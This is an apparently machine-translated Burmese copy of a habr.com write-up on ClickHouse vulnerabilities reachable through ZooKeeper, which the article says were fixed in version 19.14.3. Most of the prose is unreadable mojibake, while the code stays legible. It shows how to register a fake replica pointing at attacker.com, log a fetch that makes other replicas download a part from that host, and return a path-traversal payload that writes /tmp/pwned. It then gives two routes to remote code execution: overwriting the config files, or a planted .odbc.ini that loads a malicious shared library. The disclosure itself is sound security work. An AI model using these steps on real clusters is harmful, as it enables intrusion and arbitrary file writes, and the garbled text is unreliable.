á€áá±á¬ááºážáá«ážááẠClickHouse áá°ážáá°ááŸá¯áááá¯ááá¯áá±á¬ááŸá á¡ááœááºáááá»áá±á¬ á¡á¬ážáááºážáá»ááºáá áºáá¯á¡ááŒá±á¬ááºáž ááŒá±á¬ááŒáááºááŒá áºááŒá®ážá ááá¯ááºááá¯ááºááŸá¯áá»ááºááŸá¬ááŒááºááᯠáááºáá²á·ááá¯á·áá»á²á·ááœááºááá¯ááºáááºááá¯áááºáž ááŒááááºááŒá áºáááºá
ClickHouse ááẠáá¯á¶áá°áá
áºáá¯áááºááá¯áá±á¬ áá±áá¬á¡áá»á¬ážá¡ááŒá¬ážááᯠááááºážáááºážáááºá¡ááœáẠáá±áá¬áá±á·á
áºáá
áºáá¯ááŒá
áºáááºá ClickHouse ááœáẠá¡á
á¯ááá¯ááºá¡ááŒá¯á¶ááá¯ááºááŸáá·áº áá¯á¶áá°ááœá¬ážááŒááºážááᯠááááºáá¯á¶ážááœáẠáááºáá±á¬ááºáá¬ážáááºá
áá°áááºáž ZK áááºáááºááŸá¯ááẠá á áºááŸááºááŒá±á¬ááºážá¡áá±á¬ááºá¡áá¬ážááŒááẠáááá¯á¡ááºáá«á ááá¯á·ááŒá±á¬áá·áº Kafkaá Hadoopá ClickHouse ááᯠá á®á ááºáááºááŸááºááẠá¡áá¯á¶ážááŒá¯ááá·áº áá±á¬ááºáá±á«ááºážáá»á¬ážá áœá¬áá±á¬ ZK áá¬áá¬áá»á¬ážááᯠá¡áá»á¬ážáá°ááŸá¬ áááŸáááá¯ááºáá«áááºá
áááºá ááá¯ááºááá¯ááºááŸá¯ áá»ááºááŸá¬ááŒááºááᯠáá»áŸá±á¬á·áá»ááẠZooKeeper ááᯠááá·áºááœááºážááá·áºá¡áá« á á áºááŸááºááŒá±á¬ááºážááŸáá·áº ááœáá·áºááŒá¯áá»ááºááᯠá¡ááŒá²áááºáž áááºááŸááºáá±ážááá·áºáááºá
0day ááá¯á¡ááŒá±áá¶áá¬ážáá±á¬ Java deserializations á¡áá»áá¯á·ááŸááá«áááºá ááá¯á·áá±á¬áº ááá¯ááºááá¯ááºáá°ááẠClickHouse áá¯á¶áá°áá°ážáá°ááŸá¯á¡ááœááºáá¯á¶ážáá±á¬ ZooKeeper ááá¯á· áááºááŸá¯ááá¯ááºá á á¬áá±ážááá¯ááºáááºáᯠá áááºáá°ážááŒáá·áºáá«á
á¡á
á¯á¡áá±ážáá¯ááºááœáẠááŒááºáááºáááºááŸááºáá±á¬á¡áá«á ClickHouse ááẠááŒáá·áºáá±áá±ážááŒááºážáá»ááºáá»á¬ážááᯠáá¶á·ááá¯ážáá±ážáááºá /clickhouse/task_queue/ddl
.
á¥ááá¬á¡á¬ážááŒáá·áºá áááºááẠnode áá
áºáá¯ááá¯áááºáá®ážáááºá /clickhouse/task_queue/ddl/query-0001
á¡ááŒá±á¬ááºážá¡áá¬ááŸáá·áºá¡áá°
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']
ááá¯á·áá±á¬ááºá á ááºážáááºááá¬ážááᯠá¡á á¯ááá¯ááºáá¬áá¬áá»á¬áž host1 ááŸáá·áº host2 ááœáẠáá»ááºááá¯ááºáá«áááºá DDL ááẠCREATE/ALTER/DROP queries áá»á¬ážááᯠáá¯ááºáá±á¬ááºáááºáááºáž áá¶á·ááá¯ážáá±ážáá«áááºá
á¡áá¶á ááŒá±á¬ááºá áá¬áá¬ážá ááá¯á·áá±á¬áº ááá¯ááºááá¯ááºáá°ááẠáá¬áá¬ááááºá á¬áá»á¬ážááᯠáááºááá·áºáá±áá¬ááœáẠáááá¯ááºááááºážá
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;
node áá»á¬ážááá¯áááºáá®ážáááá·áºáááºá áá±á¬áºáᶠО metadata ááá¯.
á¡ááŒá±á¬ááºážá¡áᬠ/clickhouse/tables/01/foobar/replicas/chXX/hosts:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
á€á¡á
á¯á¡áá±ážááŸáá±áá¬ááᯠáá±á«ááºážá
ááºážááẠááŒá
áºááá¯ááºáá«ááá¬ážá á¡áááºááá¯á· áá°ážáá°ááŸá¯ ááá¯á·áẠ(TCP/9009
) áá¬áá¬áá±á«áºááœáẠchXX-address
Firewall ááᯠááááºáááºááá¯ááºáááᯠáááºáá°áá°ážáá°ááŒááºážá¡ááœáẠá
á
áºááŸááºááŒá±á¬ááºážááᯠááŒááºáááºáááºááŸááºáááºááá¯ááºáá«á á
á
áºááŸááºááŒá±á¬ááºážá¡áá±á¬ááºá¡áá¬ážááᯠáááºááá¯áá»á±á¬áºááŒááºááá²á
ááá¯ááºááá¯ááºáá°ááẠá¡ááŒá±á¬ááºážá¡áá¬áá»á¬ážá០á¡ááŒá±á¬ááºážá¡áá¬áá»á¬ážááᯠáá°ážáá°áá¯á¶ááŒáá·áº ZK ááœáẠáá¯á¶áá°á¡áá
áºáá
áºáá¯ááᯠáááºáá®ážááá¯ááºáááºá /clickhouse/tables/01-01/foobar/replicas/chXX
ááŸáá·áº á¡áááá¹áá«ááºááᯠááŒá±á¬ááºážáá²ááŒááºážá host
.
á¡ááŒá±á¬ááºážá¡áᬠ/clickhouse/tables/01â01/foobar/replicas/attacker/host:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
ááá¯á·áá±á¬áẠááá¯ááºááá¯ááºáá°ááá¬áá¬ááœáẠáá±áá¬ááá±á¬ááºá¡áá
áºáá
áºáᯠááŸááá±ááŒá±á¬ááºáž á¡ááŒá¬ážáá¯á¶áá°áá»á¬ážááᯠáááºááŒá±á¬ááŒáááºááá¯á¡ááºááẠ- node áá
áºáá¯ááᯠZK ááœáẠáááºáá®ážáá¬ážáááºá /clickhouse/tables/01-01/foobar/log/log-00000000XX
(ááŒá
áºáááºááŸááºáááºážááŸá áá±á¬ááºáá¯á¶ážáá
áºáá¯ááẠááŒá®ážááá·áºáá±á¬ XX monotonically ááŒá®ážááœá¬ážáá±áá±á¬áá±á¬ááºáᬠXX)
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2
áááºááŸá¬ á¡áááºážá¡ááŒá
áº_áá¯á¶áá° - ááááºá¡ááá·áºááœáẠáááºáá®ážáá¬ážááá·áº ááá¯ááºááá¯ááºáá°á áá¯á¶áá°á¡áááºá block_id - áá±áá¬ááááºááá¯á·áááºááŸááºáá°á ááá° - "get block" á¡áááá·áº (ááŸáá·áº
ááá¯á·áá±á¬ááºá áá¯á¶á
á¶áá°áá
áºáá¯á
á®ááẠááŸááºáááºážááŸá ááŒá
áºáááºá¡áá
áºáá
áºáá¯ááᯠáááºááŒááŒá®áž áá±áá¬ááá±á¬ááºáá
áºáá¯ááᯠáááºáá¶áááŸáááẠááá¯ááºááá¯ááºáá°ááááºážáá»á¯ááºáá¬ážáá±á¬ áá¬áá¬ááá¯á·ááœá¬ážááẠ(áá¯á¶áá°áááá¯ááá¯áá±á¬ááẠbinary ááŒá
áºááŒá®áž HTTP áááááºááœáẠáá¯ááºáá±á¬ááºáá±áááº)á áá¬áᬠattacker.com
áá±á¬ááºážááá¯áá»ááºáá»á¬ážááá¯áááºáá¶áááŸááááá·áºáááº-
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX
XXX ááẠáá°ážáá°ááŒááºážá¡ááœáẠá á áºááŸááºááŒá±á¬ááºážáááºáá±ááŒááŒááºážáá±áá¬ááŒá áºáááºá á¡áá»áá¯á·ááá á¹á áá»á¬ážááœááºá áááºážááẠáááºá ClickHouse áááá¯ááá¯áá±á¬ááŸáá·áº HTTP áááá¯ááá¯áá±á¬ááŸáá áºááá·áº áá±áá¬áá±á·á áºááá¯á· áááºáá±á¬ááºááá¯ááºááá·áº á¡áá±á¬áá·áºáá áºáᯠááŒá áºááá¯ááºáááºá áááºááœá±á·ááŒááºáááá·áºá¡ááá¯ááºážá ZooKeeper ááᯠáá¯á¶áá°áá°ážáá°áááºá¡ááœáẠá¡áá¯á¶ážááŒá¯áá±á¬ ááá¯ááºááá¯ááºááŸá¯áá»ááºááŸá¬ááŒááºááẠá¡áá±á¬ááºá¡áá¬ážáááá¯ááºáá¯á¶áá² áá»ááºáá áºáá±áá±á¬ááŒá±á¬áá·áº ááá¯ááºááá¯ááºááŸá¯áá»ááºááŸá¬ááŒááºááẠá¡ááœááºááŒá®ážáá¬ážáá¬áááºá
áá¯á¶áá°áá áºáá¯ááŸáá±áá¬ááá±á¬ááºáá áºáá¯ááá¯ááá°ááŒááºážááá¯ááºáá±á¬ááºáá»ááºááá¯ááŒáá·áºááŒáá«á áá¯á·á áá¯á¶áá°áá»á¬ážá¡á¬ážáá¯á¶ážááẠááá·áºáá»á±á¬áºáá±á¬ááááºážáá»á¯ááºááŸá¯á¡á±á¬ááºááœááºááŸáááŒá®áž áááºážááá¯á·ááŒá¬ážááœááºáá¯á¶ááŒááºááŸá¯ááŸáááŒá±á¬ááºážáá¯á¶ááŒááºááŸá¯á¡ááŒáá·áºááŒáá·áºáá±ážáá¬ážáá¬ážáááºá
áá°ážáá°ááŸá¯áá¯ááºáá±á¬ááºááŒááºážáá¯ááº
áá¯ááºáá±á¬ááºáá»ááºááẠááá¯ááºáá»á¬ážá á¬áááºážááᯠáááºááŒá®ážáá±á¬áẠáááºážááá¯á·á á¡áááºáá»á¬ážá á¡ááœááºá¡á á¬ážá á¡ááŒá±á¬ááºážá¡áá¬áá»á¬ážááᯠáááºááŸá¯ááŒá®ážáá±á¬áẠáááºážááá¯á·á¡á¬áž ááá¯ááºá áá áºááá¯á· áá±ážáá±ážáááºá ááá¯ááºá áá áºááœáẠáá±áá¬ááᯠáááºáá²á·ááá¯á· ááááºážáááºážáá¬ážááŒá±á¬ááºáž áá®ážááŒá¬ážáá±á¬áºááŒááá»áá¯ážáááºáááºá
áá²ááœáẠáááºážááŒá±á¬ááºážááœá²áá»á¬ážá
áœá¬ááŸááááºá /var/lib/clickhouse
(ááœá²á·á
ááºážáá¯á¶ááá¯ááºá០áá°áááºážááá¯ááŸá±á¬ááºááŸá¯áááºážááœáŸááº)-
á¡áᶠ- ááŸááºáááºážáááºáááºáááºážááœáŸááº
tmp - áá¬áá®ááá¯ááºáá»á¬ážááááºážáááºážááŒááºážá¡ááœááºáááºážááœáŸááºá
á¡áá¯á¶ážááŒá¯áá°_ááá¯ááºáá»á¬áž - áá±á¬ááºážááá¯áá»ááºáá»á¬ážáá²ááœáẠááá¯ááºáá»á¬ážáá«áá±á¬ áá¯ááºáá±á¬ááºáá»ááºáá»á¬ážááᯠá€áááºážááœáŸááºááœáẠááá·áºáááºáá¬ážáá«ááẠ(ááŒááºáááá¯ááºááŸáá·áº á¡ááŒá¬ážá¡áá¬áá»á¬áž)á
metadata ááᯠ- ááá¬ážáá±á¬áºááŒáá»ááºáá»á¬ážáá«ááŸááá±á¬ sql ááá¯ááºáá»á¬ážá
preprocessed_configs - á
á®áá¶áá±á¬ááºááœááºáá¬ážáá±á¬ áááºážáááºáá¬áá±á¬ configuration ááá¯ááºáá»á¬ážá០/etc/clickhouse-server
;
áá±áᬠ- áá±áá¬ááá¯ááºááŸáá¯ááºááŸáá·áº á¡ááŸááºááááºááŸááá±á¬ áááºážááœáŸááºá á€á¡ááŒá±á¡áá±ááœáẠáá±áá¬áá±á·á
áºáá
áºáá¯á
á®á¡ááœáẠáá®ážááŒá¬ážáááºážááŒá±á¬ááºážááœá²áá
áºáá¯ááᯠá€áá±áá¬ááœáẠááá¯ážááá¯ážááŸááºážááŸááºáž áááºáá®ážáá¬ážááẠ(á¥ááá¬á /var/lib/clickhouse/data/default
).
ááá¬ážáá
áºáá¯á
á®á¡ááœááºá áá±áá¬áá±á·á
áºáááºážááœáŸááºááœáẠá¡ááœá²áá
áºáá¯ááᯠáááºáá®ážáá¬ážáááºá áá±á¬áºáá¶áá
áºáá¯á
á®ááẠá¡áá±á«áºáá°áááºá áá®ážááŒá¬ážááá¯ááºáá
áºáá¯ááŒá
áºáááºá
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2
áá¯á¶áá°ááẠáá±áá¬ááá±á¬ááºáá áºáá¯ááᯠáá¯ááºáá±á¬ááºáá±á¬á¡áá«ááœáẠáá°áá®áá±á¬á¡áááºáá»á¬ážááŒáá·áº ááá¯ááºáá»á¬ážááᯠáááºáá¶áááŸáááẠáá»áŸá±á¬áºááá·áºáá¬ážááŒá®áž áááºážááá¯á·ááᯠáááºááá·áºáááºážááŒáá·áºáá»áŸ ááá¬ážáááºá¡á±á¬ááºááá¯ááºáá«á
á¡á¬áá¯á¶á
á°ážá
áá¯ááºáá±á¬á
á¬áááºáá°ááẠáá¯ááºáá±á¬ááºáá»ááºáá
áºáá¯ááœáẠfile_name á ááá¯á¶ááŒá¯á¶áá±á¬áá±á«ááºážá
ááºááŸá¯á¡ááŒá±á¬ááºáž ááŒá¬ážáá°ážááŒá®ážáá¬ážááŒá
áºáá±á¬ááºážááŒá
áºááá¯ááºáááºá WriteBufferFromFile
. áá¯ááºáá«áááºá áááºážááẠááá¯ááºááá¯ááºáá°áá
áºáŠážá¡á¬áž FS áá±á«áºááŸá áááºááá·áºááá¯ááºááœááºáááᯠáááá¬ážáá±á¬á¡ááŒá±á¬ááºážá¡áá¬áá»á¬ážáá±ážáá¬ážááẠááœáá·áºááŒá¯áá±ážáá«áááºá clickhouse
. ááá¯ááá¯á·áá¯ááºáá±á¬ááºáááºá ááá¯ááºááá¯ááºáá°á០ááááºážáá»á¯ááºáá¬ážáá±á¬ áá¯á¶áá°ááẠáá±á¬ááºážááá¯áá»ááºá¡ááœáẠá¡á±á¬ááºáá«áá¯á¶á·ááŒááºááŸá¯ááᯠááŒááºáá±ážáááẠ(áá¬ážáááºáááœááºáá°á
á±ááẠááá¯ááºážááœá²ááŸá¯áá»á¬ážááᯠáá±á«ááºážááá·áºáá¬ážáááº-
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper
áá±á«ááºážá
ááºááŒá®ážáá±á¬áẠ../../../../../../../../../tmp/pwned
ááá¯ááºááá¯áá±ážáá¬ážáááá·áºáááºá /tmp/pwned á¡ááŒá±á¬ááºážá¡áá¬ááŸáá·áºá¡áá° hellofromzookeeper.
ááá¯ááºáá±ážáá¬ážááŒááºážá áœááºážáááºááᯠá¡áá±ážáá¯ááºáá¯ááºáá±á¬ááºááŸá¯ (RCE) á¡ááŒá áºááá¯á· ááŒá±á¬ááºážáá²ááẠááœá±ážáá»ááºá áá¬áá»á¬ážá áœá¬ááŸááááºá
RCE ááœáẠááŒááºáá¡áááá¬ááºáá»á¬áž
áá¬ážááŸááºážá¡áá±á¬ááºážáá»á¬ážááœáẠClickHouse áááºáááºáá»á¬ážáá«ááŸááá±á¬ áááºážááœáŸááºááᯠá¡áá¯á¶ážááŒá¯áá°á¡ááœáá·áºá¡áá±ážááŒáá·áº ááááºážáááºážáá¬ážáááºá clickhouse áá¯á¶áá±á áááºáááºááá¯ááºáá»á¬ážááẠáááºáá±á¬ááºááŸá¯á
áááºáá»áááºááœáẠáááºááŒááŒá®áž áááºááŸáºáá¯ááºáá¬ážááá·áº XML ááá¯ááºáá»á¬ážááŒá
áºáááºá /var/lib/clickhouse/preprocessed_configs
. á¡ááŒá±á¬ááºážá¡áá²áá»á¬áž ááŒá
áºáá±á«áºáá¬áá±á¬á¡áá« áááºážááá¯á·ááᯠááŒááºáááºáááºááŸá¯áááºá áááºáá±á¬ááºááœáá·áºááŸááá»áŸáẠ/etc/clickhouse-server
ááá¯ááºááá¯ááºáá°ááẠááááááá¯ááºááá¯áẠáááºáá®ážááá¯ááºáááºá root
.
ODBC á០RCE
áááºáá±á·áá»áºáá
áºáá¯ááᯠááá·áºááœááºážáá±á¬á¡áá«á á¡áá¯á¶ážááŒá¯áá°áá
áºáŠážááᯠáááºáá®ážáá¬ážáááºá clickhouse
ááá¯á·áá±á¬áº áááºážááááºááááºážááœáŸááºááᯠáááºáá®ážááá¬ážáá«á /nonexistent
. ááá¯á·áá¬ááœááºá ááŒááºáá¡áááá¬ááºáá»á¬ážááᯠá¡áá¯á¶ážááŒá¯ááá·áºá¡áá« ááá¯á·ááá¯áẠá¡ááŒá¬ážá¡ááŒá±á¬ááºážáá»á¬ážááŒá±á¬áá·áº á
á®áá¶ááá·áºááœá²áá°áá»á¬ážááẠáááºážááœáŸááºáá
áºáá¯ááᯠáááºáá®ážáááºá /nonexistent
áá¯á¶ážá
áœá²áá°ááᯠáá±ážáá«á clickhouse
á
á¬áá±ážááẠáááºáá±á¬ááºááœáá·áº (SSZB! á¡áá®ážá
ááºáá¯á¶áž áá¬áá¬ááŒááºáá°).
ClickHouse áá¶á·ááá¯ážáááºá odbc-bridge
ááá¯á·ááŒá±á¬áá·áº áá±á¬ááºážááá¯áá»ááºá០áá¬ááºáá±á¬ááºážáááºážááŒá±á¬ááºážááᯠáááºááŸááºááẠáááŒá
áºááá¯ááºáá±á¬á·áá«á ááá¯á·áá±á¬áº á¡áááºáá±á¬áºááŒáá« á¡á¬ážáááºážáá»ááºááᯠá¡áá¯á¶ážááŒá¯á ááá¯ááºááá¯ááºáá°ááẠhome directory ááá¯á· á
á¬áá±ážááá¯ááºáá«ááá¬ážá
ááá¯ááºáá
áºáá¯áááºáá®ážááŒáá·áºáá¡á±á¬áẠ~/.odbc.ini
á€áá²á·ááá¯á·áá±á¬ á¡ááŒá±á¬ááºážá¡áá¬ááŒáá·áº
[lalala]
Driver=/var/lib/clickhouse/user_files/test.so
ááá¯á·áá±á¬áẠstartup ááœáẠSELECT * FROM odbc('DSN=lalala', 'test', 'test');
á
á¬ááŒáá·áºááá¯ááºááᯠáááºáá«áááºá test.so
ááŸáá·áº RCE ááá¯áááºáá¶áááŸááá²á·ááẠ(áá»á±ážáá°ážáááºáá«áááº
á€ááŸáá·áº á¡ááŒá¬ážáá±á¬ á¡á¬ážáááºážáá»ááºáá»á¬ážááᯠClickHouse áá¬ážááŸááºáž 19.14.3 ááœáẠááŒááºáááºáá¬ážáá«áááºá áááºá ClickHouse ááŸáá·áº ZooKeepers ááá¯á·ááᯠááá¯á áá¯ááºáá«á
source: www.habr.com